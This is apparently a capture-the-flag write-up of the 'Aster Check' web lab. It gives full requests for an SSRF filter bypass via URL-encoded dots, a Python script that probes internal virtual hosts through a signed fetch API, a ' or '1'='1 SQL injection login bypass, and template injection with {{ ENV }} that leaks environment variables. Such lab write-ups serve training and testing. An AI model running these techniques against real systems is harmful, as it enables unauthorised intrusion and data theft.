> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/aster-check.md).

# Aster Check

{% embed url="<https://dashboard.webverselabs-pro.com/labs/aster-check>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## **Scenario**

AsterCheck is a vendor-risk and compliance SaaS used by security teams to track third-party attestations and automate periodic re-checks. After a contentious incident review, the company suspects their customer-facing portal is exposing more than it should and that internal tooling may be reachable in ways it wasn't designed for. You've been brought in as an external operator to validate the real-world impact, document what an attacker could obtain, and provide evidence the team can act on--without disrupting production workloads.

## Summary

<details>

<summary>Summary</summary>

In AsterCheck, we begin with external enumeration and discover a single web server on port `80` redirecting to `app.astercheck.local`, then uncover the `email`, `docs`, and `fetch` virtual hosts via VHost enumeration through FFuF. The `app` host exposes a `v2` URL preview gateway with a policy filter blocking internal hostnames, but URL-encoding the dots bypasses the filter and lets us enumerate further internal VHosts, revealing `status.astercheck.local`. On `fetch.astercheck.local` we identify a sign-then-fetch API in two versions, and by scripting the sign → fetch flow against a subdomain wordlist we discover the internal-only `reports.astercheck.local` VHosts. The v1 fetch endpoint accepts JSON with `method`, `body`, and `headers` fields, effectively turning the gateway into a full SSRF proxy that lets us replay arbitrary requests against internal hosts.&#x20;

Against the reports login we attempt a basic SQL injection sweep, hit a redirect with `' or '1'='1`, capture the session cookie, and reach the authenticated `/dashboard` and `/generator` endpoint as `opsadmin`. The report fields are rendered through a Jinja-style template engine with a denylist that blocks several payloads like `{{7*7}}` or `{{ env }}`, but the case-sensitive filter misses `{{ ENV }}`, leaking environment variables that disclose another internal VHost `canary-code.astercheck.local`. Pivoting through the fetch API one more time, we browse the internal code host, locate the `fetch-gateway` repository, and pull commit `a1f3c9e` whose message references a hardcoded signing key. The final flag sits in that commit, completing the scenario.

</details>

## Recon

We use `rustscan -b 500 -a 10.100.89.14 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.100.89.14 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/MU6HmVy4kMqGmCkBH9XG" alt=""><figcaption></figcaption></figure>

We identify a web server running on port `80`. This redirects to `http://app.astercheck.local/`.

<figure><img src="/files/rvAzZnAnT9dgEX3l5dRm" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://app.astercheck.local/
```

{% endcode %}

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.100.89.14 astercheck.local app.astercheck.local
```

{% endcode %}

### External VHOST enumeration

We try to enumerate additional virtual hosts using FFuF and find `email`, `docs` and `fetch`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.astercheck.local" -u http://astercheck.local -fw 3
```

{% endcode %}

<figure><img src="/files/oEAB6SN3vlOmrYAdvT1f" alt=""><figcaption></figcaption></figure>

We edit our entry in the `/etc/hosts` file as follows.

{% code overflow="wrap" expandable="true" %}

```
10.100.89.14 astercheck.local app.astercheck.local email.astercheck.local docs.astercheck.local fetch.astercheck.local
```

{% endcode %}

### Internal VHOST enumeration via SSRF URL Preview

For now, we'll stay on the app.astercheck.local virtual host page. This offers a feature o preview public URLs safely via the v2 gateway. We can already glean some information from the page. For one thing, there appears to be an earlier version since this is build `v2`.

For another if a preview failes the support might request a signed fetch link:

> Tip: If a preview fails, support might request a “signed fetch link” for diagnostics.

{% code overflow="wrap" expandable="true" %}

```
http://app.astercheck.local/
```

{% endcode %}

<figure><img src="/files/Xg6M9ESOKdgggmrLuhHJ" alt=""><figcaption></figcaption></figure>

We are now trying to enumerate internal services via localhost, but we can only find one on port `8000`... one we already know about via `fetch.astercheck.local`.

{% code overflow="wrap" expandable="true" %}

```
http://localhost:8000
```

{% endcode %}

<figure><img src="/files/bToJp4W73uZXamUXqNmz" alt=""><figcaption></figcaption></figure>

Although the page mentions a policy filter that blocks requests to the virtual hosts, we try it anyway and get blocked.

{% code overflow="wrap" expandable="true" %}

```
http://email.astecheck.local
```

{% endcode %}

<figure><img src="/files/SGXfj00z3ALQ21Mrg9Ds" alt=""><figcaption></figcaption></figure>

However, we can work around this by using URL encoding.

{% code overflow="wrap" expandable="true" %}

```
http://email%2Eastercheck%2Elocal
```

{% endcode %}

<figure><img src="/files/2GMn5f73lCgUQETstrfL" alt=""><figcaption></figcaption></figure>

We then use FFuF to enumerate additional VHosts and find `status.astercheck.local`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -u 'http://app.astercheck.local/preview' -X POST -d 'url=http%3A%2F%2FFUZZ%252Eastercheck%252Elocal' -H 'Content-Type: application/x-www-form-urlencoded' -fw 2378
```

{% endcode %}

<figure><img src="/files/ZpFxqLkQJ15S0g1Ju1Tb" alt=""><figcaption></figcaption></figure>

We edit our entry in the `/etc/hosts` file as follows.

{% code overflow="wrap" expandable="true" %}

```
10.100.89.14 astercheck.local app.astercheck.local email.astercheck.local docs.astercheck.local fetch.astercheck.local status.astercheck.local
```

{% endcode %}

### General Endpoint Enumeration

Next, we probe all the VHosts gathered. But none seems to have something interesting...

{% code overflow="wrap" expandable="true" %}

```
curl http://email.astercheck.local
```

{% endcode %}

<figure><img src="/files/nHzAAFEJtxgnwoQJLCHU" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
curl http://docs.astercheck.local
```

{% endcode %}

<figure><img src="/files/S3v57ot7i5Cqh1IiiqIZ" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
curl http://status.astercheck.local
```

{% endcode %}

<figure><img src="/files/4lwJB1Ebg8IWORhzSDK8" alt=""><figcaption></figcaption></figure>

except the `fetch` vhosts.

{% code overflow="wrap" expandable="true" %}

```
curl http://fetch.astercheck.local
```

{% endcode %}

<figure><img src="/files/BZFDooOSgZXfwMrG6Tzz" alt=""><figcaption></figcaption></figure>

### Fetch API Endpoint Enumeration

We use Feroxbuster to list the directories on the fetch vhost and find an API endpoint in two versions, each with a `sign` and a `fetch` path. This appears to confirm the support note on `app.astercheck.local`.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://fetch.astercheck.local' 
```

{% endcode %}

<figure><img src="/files/BbfSD6hvqZodxFNYYRyz" alt=""><figcaption></figcaption></figure>

We visit each endpoint.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/
```

{% endcode %}

<figure><img src="/files/JSqsA2cDs8QqtvLNKy9K" alt=""><figcaption></figcaption></figure>

The fetch endpoint requires a `url` paramter.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch
```

{% endcode %}

<figure><img src="/files/WN1z4F2IdTNr3jxRz9oZ" alt=""><figcaption></figcaption></figure>

After providing a `url` parameter it also requires the `sig` parameter.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch?url=http://mail.astercheck.local
```

{% endcode %}

<figure><img src="/files/uUQXhSrXpCnEYjRx1sWh" alt=""><figcaption></figcaption></figure>

Same for the `v2` version.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v2/fetch
```

{% endcode %}

<figure><img src="/files/3o8EIeMh0rtkMwOURUd0" alt=""><figcaption></figcaption></figure>

The `sign` path requires a `url` parameter.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/sign
```

{% endcode %}

<figure><img src="/files/sQV7bZuJ2a9jIe7w7tnd" alt=""><figcaption></figcaption></figure>

After providing a `url` to the `sign` path we receive a signature.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/sign?url=http://mail.astercheck.local
```

{% endcode %}

<figure><img src="/files/YK6WnL9p4PMDUdiFavGN" alt=""><figcaption></figcaption></figure>

We can use the retrieved signature to fetch the url.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch?url=http://mail.astercheck.local&sig=e6146914edea6fc68ea43f2163b4762f8d2cacfc2516a0ab986cb32afe683873
```

{% endcode %}

<figure><img src="/files/2AOUiDQR0TbYy7rKAbRC" alt=""><figcaption></figcaption></figure>

### Internal VHOST enumeration via Fetch API

Now we craft a script to probe for other internal vhosts via the fetch API by first requesting a signature for a url and then try to fetch it.

{% code title="sign-fetch.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/env python3
"""AsterCheck — sign-then-fetch internal subdomain prober."""
import requests, sys, argparse

BASE   = "http://fetch.astercheck.local"
SIGN   = BASE + "/api/v1/sign"
FETCH  = BASE + "/api/v2/fetch"
DOMAIN = "astercheck.local"

# Response signatures that mean "this subdomain does not exist internally".
DEAD_MARKERS = (
    "unknown internal host",
    "fetch failed",
)

s = requests.Session()
s.headers["User-Agent"] = "ssrf-probe"

def sign(url):
    r = s.get(SIGN, params={"url": url}, timeout=10)
    r.raise_for_status()
    return r.json()["sig"]

def fetch(url, sig):
    return s.get(FETCH, params={"url": url, "sig": sig}, timeout=15)

def is_dead(resp):
    body = resp.text.lower()
    return any(m in body for m in DEAD_MARKERS)

def probe(label):
    target = f"http://{label}.{DOMAIN}"
    try:
        sig = sign(target)
        r   = fetch(target, sig)
    except Exception as e:
        return label, None, "ERR", str(e)
    if is_dead(r):
        return label, r.status_code, "dead", ""
    return label, r.status_code, "HIT", r.text.strip()[:300]

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("-w", "--wordlist", required=True,
                    help="file with one subdomain label per line")
    ap.add_argument("-v", "--verbose", action="store_true",
                    help="also print dead/error results to stderr")
    args = ap.parse_args()

    labels = [l.strip() for l in open(args.wordlist)
              if l.strip() and not l.startswith("#")]

    for label in labels:
        lab, code, status, detail = probe(label)
        if status == "HIT":
            print(f"[+] {lab:<20} {code}  {detail}")
        elif args.verbose:
            print(f"[-] {lab:<20} {status}", file=sys.stderr)

if __name__ == "__main__":
    main()
```

{% endcode %}

After running the script we identify the `reports` vhosts that redirects to `reports/login`.

{% code overflow="wrap" expandable="true" %}

```
python sign-fetch.py -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
```

{% endcode %}

<figure><img src="/files/qNT3ioZ9SMqi3baMASKk" alt=""><figcaption></figcaption></figure>

We do not need to update our `/etc/hosts` file, since the vhost is only internally available through the fetch api.

### Reports Endpoint Enumeration

Next, we try to enumerate the reports enpoint using the sign and fetch API manually. We request the signature for `http://reports.astercheck.local/login`...

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/sign?url=http://reports.astercheck.local/login
```

{% endcode %}

<figure><img src="/files/vTJPzwOLvLOASCx5rQm5" alt=""><figcaption></figcaption></figure>

And request it through the fetch api.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch?url=http://reports.astercheck.local/login&sig=00c14a9510f9650fac7635cb0d37c818121be7f787e59bef8a330bb5d77e5cd0
```

{% endcode %}

<figure><img src="/files/PWRRsVExiNg0jYSDLzgR" alt=""><figcaption></figcaption></figure>

## Access as opsadmin on reports.astercheck.local

We catch the request using Burp Suite to see fields required in the log in form.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch?url=http://reports.astercheck.local/login&sig=00c14a9510f9650fac7635cb0d37c818121be7f787e59bef8a330bb5d77e5cd0
```

{% endcode %}

<figure><img src="/files/gs7F8Rx6YkFqaCGfikjv" alt=""><figcaption></figcaption></figure>

Next, we need to make a POST request. The first idea was to use gopher, but the scheme renders invalid.

<figure><img src="/files/92whOzpBLOBU04oYpJjU" alt=""><figcaption></figcaption></figure>

If we switch the method to POST for the v2 fetch we get a `405 Method Not Allowed`.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v2/fetch
```

{% endcode %}

<figure><img src="/files/YQ8cDRwAGwBYO2KNZNJ4" alt=""><figcaption></figcaption></figure>

But the v1 version renders an internal server error.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch
```

{% endcode %}

<figure><img src="/files/3KhVokuFos03TBlDlP0i" alt=""><figcaption></figcaption></figure>

We change the Content-Type to application/json and this time we get a message for missing method and headers.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 120

{"url":"http://reports.astercheck.local/login","sig":"00c14a9510f9650fac7635cb0d37c818121be7f787e59bef8a330bb5d77e5cd0"}
```

{% endcode %}

<figure><img src="/files/aQtMGxpSJ8Ylb1C7GvJN" alt=""><figcaption></figcaption></figure>

Now things are getting interesting. We want to test how those requests are being send to the target. So we spin up a a web server that prints the request with headers and post body.

First we sign our url.

{% code overflow="wrap" expandable="true" %}

```
GET /api/v1/sign?url=http://10.8.0.4 
```

{% endcode %}

<figure><img src="/files/l3wC8gRE1eh4yUcCeE5a" alt=""><figcaption></figcaption></figure>

Next, we prepare a web server that prints the request with headers and post body.

{% code title="webserver.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print('--- Headers ---')
        for key, value in self.headers.items():
            print(f'{key}: {value}')
        print('--- Body ---')
        print(body.decode('utf-8', errors='replace'))
        print()
        self.send_response(200)
        self.end_headers()

if __name__ == '__main__':
    HTTPServer(('', 80), Handler).serve_forever()py
```

{% endcode %}

We issue a POST request through the fetch API v1 to our server.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 240

{"url":"http://10.8.0.4","sig":"fb6888958c0ad420522044c06ce0ad23861a3685311c49acf60123e04f023c72","method":"POST",
"body":"username=opsadmin&password=opsadmin",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  }}
```

{% endcode %}

<figure><img src="/files/XwXtVjFUZsc0a3v4PwGy" alt=""><figcaption></figcaption></figure>

And see that this might work how we set up the parameters.

<figure><img src="/files/d8MoqHpVEpfMFDcxEav0" alt=""><figcaption></figcaption></figure>

Next we try to make a log in attempt and get the response invalid credentials.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 262

{"url":"http://reports.astercheck.local/login","sig":"00c14a9510f9650fac7635cb0d37c818121be7f787e59bef8a330bb5d77e5cd0","method":"POST",
"body":"username=opsadmin&password=opsadmin",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  }}
```

{% endcode %}

<figure><img src="/files/lCpjBLdmcbaQW2oaXYGh" alt=""><figcaption></figcaption></figure>

We try to bypass the log in with some simple sql injection attempts. To slightly automate it we send the request to intruder and use the following list of payloads.

{% embed url="<https://github.com/HackTricks-wiki/hacktricks/blob/master/src/pentesting-web/login-bypass/sql-login-bypass.md>" %}

<figure><img src="/files/xcu6f3EABs3vp0enfRVh" alt=""><figcaption></figcaption></figure>

We get a redirect with `' or '1'='1`!

<figure><img src="/files/O1Boiy34IK8SihkA3uFA" alt=""><figcaption></figcaption></figure>

We inspect the response and save the session cookie. The redirect points to `/dashboard`.

<figure><img src="/files/U6txjpKBJQf9gwQMXiGv" alt=""><figcaption></figcaption></figure>

We sign the url to dashboard and make a request to is using the cookie. We are able to access the dashboard now.

{% hint style="info" %}
For the sake of readability, the signing of each URL is no longer listed in the write-up.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 303

{
  "url": "http://reports.astercheck.local/dashboard",
  "sig": "d38d8698fe1fa46bc93c9c2bd03d68d297650288206c2ba89b8504962be045d8",
  "method": "GET",
  "headers": {
    "Cookie": "session=eyJhdXRoZWQiOnRydWUsInJvbGUiOiJhZG1pbiIsInVzZXIiOiJvcHNhZG1pbiJ9.agtg5Q.argBxWBegCgoiAsGThn8hP_7sGk"
  }
}
```

{% endcode %}

<figure><img src="/files/ITOv9Hth8dJr1vAHR3t3" alt=""><figcaption></figcaption></figure>

We can also intercept a request made and adapt it like in repeater to view the page in our browser.

<figure><img src="/files/iGF1S5IWNoiCJCeBrmt5" alt=""><figcaption></figcaption></figure>

From there we are able to reach out to the `generator` endpoint.

<figure><img src="/files/9h9ACl0pQ0s7rhmZcDMq" alt=""><figcaption></figcaption></figure>

## SSTI in /generator

We sign the url for `/generator` and try to access it. Here we are able to generate reports.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 303

{
  "url": "http://reports.astercheck.local/generator",
  "sig": "eb8299ff15ca943f67dcaff4e28baba8e693e3555aa01f9d7fb9fb9e81a9bbee",
  "method": "GET",
  "headers": {
    "Cookie": "session=eyJhdXRoZWQiOnRydWUsInJvbGUiOiJhZG1pbiIsInVzZXIiOiJvcHNhZG1pbiJ9.agtg5Q.argBxWBegCgoiAsGThn8hP_7sGk"
  }
}
```

{% endcode %}

<figure><img src="/files/SzR2BE5H9BFLjHTb9Bt9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4FCRGHh1DtbO3VUk7m4D" alt=""><figcaption></figcaption></figure>

From the source we can derive the parameter required to generate a report.

{% code overflow="wrap" expandable="true" %}

```html
     <div class="shell-body">
        <form method="post">
          <div class="row g-3">
            <div class="col-md-6">
              <label class="form-label">Created by</label>
              <input class="form-control" name="created_by" placeholder="Jane D. (SecOps)">
            </div>
            <div class="col-md-6">
              <label class="form-label">For network</label>
              <input class="form-control" name="for_network" placeholder="10.0.0.0/16">
            </div>
            <div class="col-md-4">
              <label class="form-label">Date of creation</label>
              <input class="form-control" name="date_of_creation" placeholder="2026-01-20">
            </div>
            <div class="col-md-4">
              <label class="form-label">Internal use</label>
              <input class="form-control" name="internal_use" placeholder="true">
            </div>
            <div class="col-md-4">
              <label class="form-label">Company</label>
              <input class="form-control" name="company" placeholder="AsterCheck">
            </div>
            <div class="col-md-6">
              <label class="form-label">Date of last report</label>
              <input class="form-control" name="date_of_last_report" placeholder="2025-12-04">
            </div>
          </div>

          <button class="btn btn-generate mt-4 w-100">Generate Export</button>
        </form>
```

{% endcode %}

We try to craft an example report with arbitratry values. A report is being created.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 408

{
  "url": "http://reports.astercheck.local/generator",
  "sig": "eb8299ff15ca943f67dcaff4e28baba8e693e3555aa01f9d7fb9fb9e81a9bbee",
  "method": "POST",
  "headers": {
"Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "session=eyJhdXRoZWQiOnRydWUsInJvbGUiOiJhZG1pbiIsInVzZXIiOiJvcHNhZG1pbiJ9.agtg5Q.argBxWBegCgoiAsGThn8hP_7sGk"
  },
"body":"created_by=a&for_network=a&date_of_creation=a&internal_use=a&company=a&date_of_last_report=a"
}
```

{% endcode %}

<figure><img src="/files/maTjfTHvGy56kdZ31sd1" alt=""><figcaption></figcaption></figure>

We try some simple SSTI payloads and the created by seems to be at least evalute them, but our payload `{{7*7}}` is being blocked.

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 498

{
  "url": "http://reports.astercheck.local/generator",
  "sig": "eb8299ff15ca943f67dcaff4e28baba8e693e3555aa01f9d7fb9fb9e81a9bbee",
  "method": "POST",
  "headers": {
"Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "session=eyJhdXRoZWQiOnRydWUsInJvbGUiOiJhZG1pbiIsInVzZXIiOiJvcHNhZG1pbiJ9.agtg5Q.argBxWBegCgoiAsGThn8hP_7sGk"
  },
"body":"created_by={{7*7}}&for_network={{7*7}}&date_of_creation={{7*7}}&internal_use={{7*7}}&company={{7*7}}&date_of_last_report={{7*7}}"
}
```

{% endcode %}

<figure><img src="/files/g0VmHhEw6hAgGfvJH3oL" alt=""><figcaption></figcaption></figure>

Several other attempts were being made. It turned out that also `{{` is being blocked and also `{{env}}`.  But we get a hit with `{{ ENV }}`.

{% code overflow="wrap" expandable="true" %}

```
{{ ENV }}
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
POST /api/v1/fetch HTTP/1.1
Host: fetch.astercheck.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 498

{
  "url": "http://reports.astercheck.local/generator",
  "sig": "eb8299ff15ca943f67dcaff4e28baba8e693e3555aa01f9d7fb9fb9e81a9bbee",
  "method": "POST",
  "headers": {
"Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "session=eyJhdXRoZWQiOnRydWUsInJvbGUiOiJhZG1pbiIsInVzZXIiOiJvcHNhZG1pbiJ9.agtg5Q.argBxWBegCgoiAsGThn8hP_7sGk"
  },
"body":"created_by={{ ENV }}&for_network={{7*7}}&date_of_creation={{7*7}}&internal_use={{7*7}}&company={{7*7}}&date_of_last_report={{7*7}}"
}
```

{% endcode %}

This reveals the environment variable and a new vhost `http://canary-code.astercheck.local`.

<figure><img src="/files/hyhQGDcQovTaxn51rhWX" alt=""><figcaption></figcaption></figure>

We access it through the fetch API...

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/sign?url=http://canary-code.astercheck.local
```

{% endcode %}

<figure><img src="/files/twGC4ca5qKtqiWHgU5Zj" alt=""><figcaption></figcaption></figure>

... and get access to the internal repositories.

{% code overflow="wrap" expandable="true" %}

```
http://fetch.astercheck.local/api/v1/fetch?url=http://canary-code.astercheck.local&sig=622a5e6dd32910670e4c5fbbc629495a59937895b96c1a716e3b6b8a9a2dc6a9
```

{% endcode %}

<figure><img src="/files/ZLyr06p14B67xmzU9rm7" alt=""><figcaption></figcaption></figure>

From the source we derive the path `/repo/fetch-gateway`.

{% code overflow="wrap" expandable="true" %}

```
GET /api/v1/fetch?url=http://canary-code.astercheck.local&sig=622a5e6dd32910670e4c5fbbc629495a59937895b96c1a716e3b6b8a9a2dc6a9
```

{% endcode %}

<figure><img src="/files/ahxeRjcUR6mIGW8vZ0IF" alt=""><figcaption></figcaption></figure>

From there we can access two commits.

{% code overflow="wrap" expandable="true" %}

```
GET /api/v1/fetch?url=http://canary-code.astercheck.local/repo/fetch-gateway&sig=18bacd804a4289ca480bd508bc7b34fa1ebecfb82bb4d76c22e30869999d9325
```

{% endcode %}

<figure><img src="/files/rxNAGTGc0iv42Fvz37Ku" alt=""><figcaption></figcaption></figure>

The commit `a1f3c9e` with the commit maessageof a hardcoded signing key stands out.

<figure><img src="/files/xAzlPNInERMO62KgByFC" alt=""><figcaption></figcaption></figure>

We retrieve the commit and find the flag, we reach the end of the scenario.

{% code overflow="wrap" expandable="true" %}

```
url=http://canary-code.astercheck.local/repo/fetch-gateway/commit/a1f3c9e&sig=REDACTED
```

{% endcode %}

<figure><img src="/files/Rb9NcRbcQKOjQw00sWkJ" alt=""><figcaption></figcaption></figure>
